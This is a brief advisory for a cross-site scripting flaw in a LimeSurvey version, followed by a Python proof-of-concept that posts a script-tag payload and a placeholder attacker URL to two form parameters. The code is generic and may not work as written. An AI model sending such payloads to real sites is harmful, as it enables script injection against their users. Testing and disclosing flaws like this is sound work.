Cross Site Scripting vulnerability in Limesurvey v.6.15.20+251021 allows a remote attacker to execute arbitrary code via the Box[title] and box[url] parameters.
The following code is for security research and authorized testing only.
python
import requests
# Target URL (replace with actual target)
target_url = "http://target-limesurvey/index.php"
# Malicious payload to test XSS
payload = "<script>alert('CVE-2025-70797-XSS');</script>"
# Vulnerable parameters based on the description
params = {
"Box[title]": payload,
"box[url]": "http://attacker-controlled-site.com"
}
try:
response = requests.post(target_url, data=params)
if response.status_code == 200:
print("[+] Payload sent successfully.")
print("[+] Check the application page for the alert box to verify vulnerability.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")